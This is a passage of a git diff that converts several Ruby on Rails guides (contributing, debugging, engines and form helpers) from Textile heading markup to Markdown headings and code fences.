@@ -237,7 +241,7 @@ $ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.
You can invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+ also. See the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ for the test suite run by the continuous integration server.
-h4. Warnings
+### Warnings
The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
@@ -247,7 +251,7 @@ As of this writing (December, 2010) they are specially noisy with Ruby 1.9. If y
$ RUBYOPT=-W0 bundle exec rake test
```
-h4. Older Versions of Ruby on Rails
+### Older Versions of Ruby on Rails
If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
@@ -258,11 +262,12 @@ $ git checkout 3-0-stable
TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
-h3. Helping to Resolve Existing Issues
+Helping to Resolve Existing Issues
+----------------------------------
As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
-h4. Verifying Bug Reports
+### Verifying Bug Reports
For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
@@ -272,7 +277,7 @@ If you find a bug report without a test, it's very useful to contribute a failin
Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
-h4. Testing Patches
+### Testing Patches
You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
@@ -302,7 +307,8 @@ I like the way you've restructured that code in generate_finder_sql -- much nice
If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
-h3. Contributing to the Rails Documentation
+Contributing to the Rails Documentation
+---------------------------------------
Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
@@ -320,9 +326,10 @@ NOTE: To help our CI servers you can add [ci skip] to your documentation commit
WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-h3. Contributing to the Rails Code
+Contributing to the Rails Code
+------------------------------
-h4. Clone the Rails Repository
+### Clone the Rails Repository
The first thing you need to do to be able to contribute code is to clone the repository:
@@ -339,7 +346,7 @@ $ git checkout -b my_new_branch
It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository.
-h4. Write Your Code
+### Write Your Code
Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
@@ -350,7 +357,7 @@ Now get busy and add or edit code. You’re on your branch now, so you can write
TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
-h4. Follow the Coding Conventions
+### Follow the Coding Conventions
Rails follows a simple set of coding style conventions.
@@ -365,7 +372,7 @@ Rails follows a simple set of coding style conventions.
The above are guidelines -- please use your best judgment in using them.
-h4. Updating the CHANGELOG
+### Updating the CHANGELOG
The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
@@ -390,13 +397,13 @@ A CHANGELOG entry should summarize what was changed and should end with author's
Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
-h4. Sanity Check
+### Sanity Check
You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
You might want also to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
-h4. Commit Your Changes
+### Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to Git:
@@ -436,7 +443,7 @@ You can also add bullet points:
TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
-h4. Update Master
+### Update Master
It’s pretty likely that other changes to master have happened while you were working. Go get them:
@@ -454,7 +461,7 @@ $ git rebase master
No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
-h4. Fork
+### Fork
Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
@@ -506,7 +513,7 @@ $ git push origin branch_name
```
-h4. Issue a Pull Request
+### Issue a Pull Request
Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
@@ -516,15 +523,15 @@ Ensure the changesets you introduced are included in the "Commits" tab. Ensure t
Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
-h4. Get some Feedback
+### Get some Feedback
Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
-h4. Iterate as Necessary
+### Iterate as Necessary
It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
-h4. Backporting
+### Backporting
Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
@@ -555,6 +562,7 @@ Once you have resolved all conflicts and made sure all the tests are passing, pu
And then... think about your next contribution!
-h3. Rails Contributors
+Rails Contributors
+------------------
All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index 2c8e440e55..b62ccb6fda 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -1,4 +1,5 @@
-h2. Debugging Rails Applications
+Debugging Rails Applications
+============================
This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
@@ -7,9 +8,10 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re
* Learn the different ways of debugging
* Analyze the stack trace
-endprologue.
+--------------------------------------------------------------------------------
-h3. View Helpers for Debugging
+View Helpers for Debugging
+--------------------------
One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
@@ -17,7 +19,7 @@ One common task is to inspect the contents of a variable. In Rails, you can do t
* +to_yaml+
* +inspect+
-h4. +debug+
+### +debug+
The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
@@ -46,7 +48,7 @@ attributes_cache: {}
Title: Rails debugging guide
```
-h4. +to_yaml+
+### +to_yaml+
Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
@@ -76,7 +78,7 @@ attributes_cache: {}
Title: Rails debugging guide
```
-h4. +inspect+
+### +inspect+
Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
@@ -96,11 +98,12 @@ Will be rendered as follows:
Title: Rails debugging guide
```
-h3. The Logger
+The Logger
+----------
It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-h4. What is the Logger?
+### What is the Logger?
Rails makes use of the +ActiveSupport::BufferedLogger+ class to write log information. You can also substitute another logger such as +Log4r+ if you wish.
@@ -120,7 +123,7 @@ config.logger = Log4r::Logger.new("Application Log")
TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
-h4. Log Levels
+### Log Levels
When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method.
@@ -135,7 +138,7 @@ This is useful when you want to log under development or staging, but you don't
TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
-h4. Sending Messages
+### Sending Messages
To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
@@ -191,24 +194,25 @@ Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localh
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-h4. Tagged Logging
+### Tagged Logging
When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. +TaggedLogging+ in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
-<ruby>
+```ruby
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff"
logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
-</ruby>
+```
-h3. Debugging with the +debugger+ gem
+Debugging with the +debugger+ gem
+---------------------------------
When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-h4. Setup
+### Setup
Rails uses the +debugger+ gem to set breakpoints and step through live code. To install it, just run:
@@ -247,7 +251,7 @@ $ rails server --debugger
TIP: In development mode, you can dynamically +require \'debugger\'+ instead of restarting the server, if it was started without +--debugger+.
-h4. The Shell
+### The Shell
As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
@@ -350,7 +354,7 @@ Finally, to see where you are in the code again you can type +list=+
10 format.json { render :json => @posts }
```
-h4. The Context
+### The Context
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
@@ -383,7 +387,7 @@ The available variables are the same as if you were running the code line by lin
Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-h4. Threads
+### Threads
The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
@@ -395,7 +399,7 @@ The debugger can list, stop, resume and switch between running threads by using
This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-h4. Inspecting Variables
+### Inspecting Variables
Any expression can be evaluated in the current context. To evaluate an expression, just type it!
@@ -466,7 +470,7 @@ You can use also +display+ to start watching variables. This is a good way of tr
The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
-h4. Step by Step
+### Step by Step
Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
@@ -546,7 +550,7 @@ Now you can see that the +@comments+ relationship was loaded and @recent_comment
If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-h4. Breakpoints
+### Breakpoints
A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
@@ -582,33 +586,33 @@ You can also enable or disable breakpoints:
* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
-h4. Catching Exceptions
+### Catching Exceptions
The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
To list all active catchpoints use +catch+.
-h4. Resuming Execution
+### Resuming Execution
There are two ways to resume execution of an application that is stopped in the debugger:
* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-h4. Editing
+### Editing
Two commands allow you to open code from the debugger into an editor:
* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-h4. Quitting
+### Quitting
To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-h4. Settings
+### Settings
The +debugger+ gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
@@ -629,13 +633,14 @@ set forcestep
set listsize 25
```
-h3. Debugging Memory Leaks
+Debugging Memory Leaks
+----------------------
A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.
-h4. BleakHouse
+### BleakHouse
"BleakHouse":https://github.com/evan/bleak_house/ is a library for finding memory leaks.
@@ -688,7 +693,7 @@ This way you can find where your application is leaking memory and fix it.
If "BleakHouse":https://github.com/evan/bleak_house/ doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-h4. Valgrind
+### Valgrind
"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
@@ -696,7 +701,8 @@ There are Valgrind tools that can automatically detect many memory management an
For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
-h3. Plugins for Debugging
+Plugins for Debugging
+---------------------
There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
@@ -707,7 +713,8 @@ There are some Rails plugins to help you to find errors and debug your applicati
* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-h3. References
+References
+----------
* "ruby-debug Homepage":http://bashdb.sourceforge.net/ruby-debug/home-page.html
* "debugger Homepage":http://github.com/cldwalker/debugger
diff --git a/guides/source/engines.md b/guides/source/engines.md
index b13f7df350..4ceefdec1c 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,4 +1,5 @@
-h2. Getting Started with Engines
+Getting Started with Engines
+============================
In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
@@ -8,9 +9,10 @@ In this guide you will learn about engines and how they can be used to provide a
* Hooking the engine into an application
* Overriding engine functionality in the application
-endprologue.
+--------------------------------------------------------------------------------
-h3. What are engines?
+What are engines?
+-----------------
Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting a lot of its behaviour from +Rails::Engine+.
@@ -28,7 +30,8 @@ To see demonstrations of other engines, check out "Devise":https://github.com/pl
Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
-h3. Generating an engine
+Generating an engine
+--------------------
To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--full+ and +--mountable+ options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
@@ -50,9 +53,9 @@ The +--mountable+ option tells the generator to mount the engine inside the dumm
mount Blorgh::Engine, :at => "blorgh"
```
-h4. Inside an engine
+### Inside an engine
-h5. Critical files
+#### Critical files
At the root of this brand new engine's directory lives a +blorgh.gemspec+ file. When you include the engine into an application later on, you will do so with this line in the Rails application's +Gemfile+:
@@ -91,7 +94,7 @@ What this isolation of the namespace means is that a model generated by a call t
Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the "Routes":#routes section of this guide.
-h5. +app+ directory
+#### +app+ directory
Inside the +app+ directory are the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
@@ -105,7 +108,7 @@ Lastly, the +app/views+ directory contains a +layouts+ folder which contains a f
If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-h5. +script+ directory
+#### +script+ directory
This directory contains one file, +script/rails+, which enables you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
@@ -115,7 +118,7 @@ rails g model
Keeping in mind, of course, that anything generated with these commands inside an engine that has +isolate_namespace+ inside the +Engine+ class will be namespaced.
-h5. +test+ directory
+#### +test+ directory
The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
@@ -129,11 +132,12 @@ This line mounts the engine at the path +/blorgh+, which will make it accessible
Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. Other directories can be created in the +test+ directory also. For example, you may wish to create a +test/unit+ directory for your unit tests.
-h3. Providing engine functionality
+Providing engine functionality
+------------------------------
The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting_started.html, with some new twists.
-h4. Generating a post resource
+### Generating a post resource
The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
@@ -240,7 +244,7 @@ root :to => "posts#index"
Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. This means that instead of +http://localhost:3000/blorgh/posts+, you only need to go to +http://localhost:3000/blorgh+ now.
-h4. Generating a comments resource
+### Generating a comments resource
Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
@@ -373,11 +377,12 @@ The +comment_counter+ local variable is given to us by the +&lt;%= render @post.
That completes the comment function of the blogging engine. Now it's time to use it within an application.
-h3. Hooking into an application
+Hooking into an application
+---------------------------
Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine.
-h4. Mounting the engine
+### Mounting the engine
First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
@@ -409,7 +414,7 @@ This line will mount the engine at +/blog+ in the application. Making it accessi
NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
-h4. Engine setup
+### Engine setup
The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
@@ -446,9 +451,9 @@ This may be useful if you want to revert engine's migrations before removing it.
rake db:migrate SCOPE=blorgh VERSION=0
```
-h4. Using a class provided by the application
+### Using a class provided by the application
-h5. Using a model provided by the application
+#### Using a model provided by the application
When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense.
@@ -546,7 +551,7 @@ end
Now instead of the ugly Ruby object output the author's name will be displayed.
-h5. Using a controller provided by the application
+#### Using a controller provided by the application
Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from <tt>ApplicationController</tt>. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped +ApplicationController+. This namespace prevents code collisions, but often engine controllers should access methods in the main application's +ApplicationController+. An easy way to provide this access is to change the engine's scoped +ApplicationController+ to inherit from the main application's +ApplicationController+. For our Blorgh engine this would be done by changing +app/controllers/blorgh/application_controller.rb+ to look like:
@@ -559,11 +564,11 @@ By default, the engine's controllers inherit from <tt>Blorgh::ApplicationControl
This change does require that the engine is run from a Rails application that has an +ApplicationController+.
-h4. Configuring an engine
+### Configuring an engine
This section covers how to make the +User+ class configurable, followed by general configuration tips for the engine.
-h5. Setting configuration settings in the application
+#### Setting configuration settings in the application
The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application.
@@ -617,7 +622,7 @@ Go ahead and try to create a new post. You will see that it works exactly in the
There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
-h5. General engine configuration
+#### General engine configuration
Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
@@ -625,13 +630,14 @@ If you wish to use an initializer -- code that should run before the engine is l
For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application.
-h3. Testing an engine
+Testing an engine
+-----------------
When an engine is generated there is a smaller dummy application created inside it at +test/dummy+. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
The +test+ directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
-h4. Functional tests
+### Functional tests
A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the +test/dummy+ application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical +GET+ to a controller in a controller's functional test like this:
@@ -647,17 +653,18 @@ get :index, :use_route => :blorgh
This tells the application that you still want to perform a +GET+ request to the +index+ action of this controller, just that you want to use the engine's route to get there, rather than the application.
-h3. Improving engine functionality
+Improving engine functionality
+------------------------------
This section explains how to add and/or override engine MVC functionality in the main Rails application.
-h4. Overriding Models and Controllers
+### Overriding Models and Controllers
Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main applicaiton. This is usually implemented by using the decorator pattern.
For simple class modifications use +Class#class_eval+, and for complex class modifications, consider using +ActiveSupport::Concern+.
-h5. Implementing Decorator Pattern Using Class#class_eval
+#### Implementing Decorator Pattern Using Class#class_eval
**Adding** +Post#time_since_created+,
@@ -704,7 +711,7 @@ end
```
-h5. Implementing Decorator Pattern Using ActiveSupport::Concern
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
Using +Class#class_eval+ is great for simple adjustments, but for more complex class modifications, you might want to consider using +ActiveSupport::Concern+. ["**ActiveSupport::Concern**":http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html] helps manage the load order of interlinked dependencies at run time allowing you to significantly modularize your code.
@@ -769,7 +776,7 @@ module Blorgh::Concerns::Models::Post
end
```
-h4. Overriding views
+### Overriding views
When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory.
@@ -790,7 +797,7 @@ Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ a
<% end %>
```
-h4. Routes
+### Routes
Routes inside an engine are, by default, isolated from the application. This is done by the +isolate_namespace+ call inside the +Engine+ class. This essentially means that the application and its engines can have identically named routes, and that they will not clash.
@@ -826,7 +833,7 @@ If you were to use this inside an engine, it would *always* go to the applicatio
If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the +main_app+ prefix from within the engine.
-h4. Assets
+### Assets
Assets within an engine work in an identical way to a full application. Because the engine class inherits from +Rails::Engine+, the application will know to look up in the engine's +app/assets+ and +lib/assets+ directories for potential assets.
@@ -848,7 +855,7 @@ You can also specify these assets as dependencies of other assets using the Asse
INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's +.gemspec+.
-h4. Separate Assets & Precompiling
+### Separate Assets & Precompiling
There are some situations where your engine's assets are not required by the host application. For example, say that you've created
an admin functionality that only exists for your engine. In this case, the host application doesn't need to require +admin.css+
@@ -865,7 +872,7 @@ end
For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html
-h4. Other gem dependencies
+### Other gem dependencies
Gem dependencies inside an engine should be specified inside the +.gemspec+ file at the root of the engine. The reason for this is because the engine may
be installed as a gem. If dependencies were to be specified inside the +Gemfile+,
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 1b44b021ba..c3a6b6d44f 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,4 +1,5 @@
-h2. Rails Form helpers
+Rails Form helpers
+==================
Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
@@ -12,12 +13,13 @@ In this guide you will:
* Learn some cases of building forms to external resources
* Find out how to build complex forms
-endprologue.
+--------------------------------------------------------------------------------
NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
-h3. Dealing with Basic Forms
+Dealing with Basic Forms
+------------------------
The most basic form helper is +form_tag+.
@@ -43,7 +45,7 @@ Now, you'll notice that the HTML contains something extra: a +div+ element with
NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity.
-h4. A Generic Search Form
+### A Generic Search Form
One of the most basic forms you see on the web is a search form. This form contains:
@@ -78,7 +80,7 @@ Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_
IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-h4. Multiple Hashes in Form Helper Calls
+### Multiple Hashes in Form Helper Calls
The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
@@ -96,13 +98,13 @@ form_tag({:controller => "people", :action => "search"}, :method => "get", :clas
# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
```
-h4. Helpers for Generating Form Elements
+### Helpers for Generating Form Elements
Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +&lt;%= text_field_tag(:query) %&gt;+, then you would be able to get the value of this field in the controller with +params[:query]+.
When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
-h5. Checkboxes
+#### Checkboxes
Checkboxes are form controls that give the user a set of options they can enable or disable:
@@ -124,7 +126,7 @@ This generates the following:
The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
-h5. Radio Buttons
+#### Radio Buttons
Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
@@ -148,7 +150,7 @@ As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value
NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.
-h4. Other Helpers of Interest
+### Other Helpers of Interest
Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
@@ -194,9 +196,10 @@ IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, m
TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
-h3. Dealing with Model Objects
+Dealing with Model Objects
+--------------------------
-h4. Model Object Helpers
+### Model Object Helpers
A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
@@ -218,7 +221,7 @@ WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"per
Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
-h4. Binding a Form to an Object
+### Binding a Form to an Object
While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
@@ -283,7 +286,7 @@ which produces the following output:
